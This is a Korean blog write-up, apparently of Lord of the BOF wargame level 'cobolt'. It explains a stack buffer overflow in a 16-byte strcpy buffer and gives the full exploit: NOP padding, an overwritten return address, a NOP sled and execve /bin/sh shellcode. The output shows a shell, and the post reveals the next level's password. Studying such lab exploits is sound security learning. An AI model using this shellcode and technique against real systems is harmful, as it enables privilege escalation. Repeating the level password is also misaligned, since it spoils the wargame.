반응형

환경변수로 풀다가 안풀려서 다른방법으로 풀었는데 

환경변수로 다시풀어보고 다른풀이가 있다면 추가적으로 올리도록 하겠습니다 

소스를 보면

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}

gate 문제와 똑같지만 버퍼의크기가 작아져서 쉘코드를 직접적으로 넣어줄수 없는 상황입니다 

따라서 

| buf[16] |SFP| retn| 

이런식으로 전개가 될텐데, 

페이로드를 

|1.nop(20byte) | retn  | 2.nop | 쉘코드| 

이런식으로 작성해주고, retn에  2.nop의 한부분의주소를 가리키게 한다면 이번 문제는 풀리게 됩니다

retn 에 들어가야할 주소를 모르므로 끝부분에 retn 에 필요한 주소를 알아내도록 소스를 추가해주면 ,


[gremlin@localhost /tmp]$ cat vi cobolt.c

cat: vi: No such file or directory

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

printf("0x%0x\n",&buffer[25]);


}

이렇게 됩니다.

굵은 부분으로 표시한 부분을 삽입해주게 되면 25번쨰의 주소를 뱉어주게 됩니다 

따라서 작성한 페이로드에서 retn 부분만 우리가 모르는 상태였으므로 마저 채워주고 페이로드를 집어넣게되면 


[gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "\x90"x20,"\xe1\xf6\xff\xbf","\x90"x1000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

????????????????????囚퓧???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??

                                                            것€

bash$ my-pass

euid = 502

hacking exposed


문제는 풀리게 됩니다 .

반응형

'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글

(LOB)Level6.wolfman  (0) 2014.08.11
(LOB)Level5.orc  (0) 2014.08.11
(LOB)Level4.goblin  (0) 2014.08.11
(LOB)Level3.Cobolt  (1) 2014.08.10
(LOB)Level1. gate  (0) 2014.08.07
,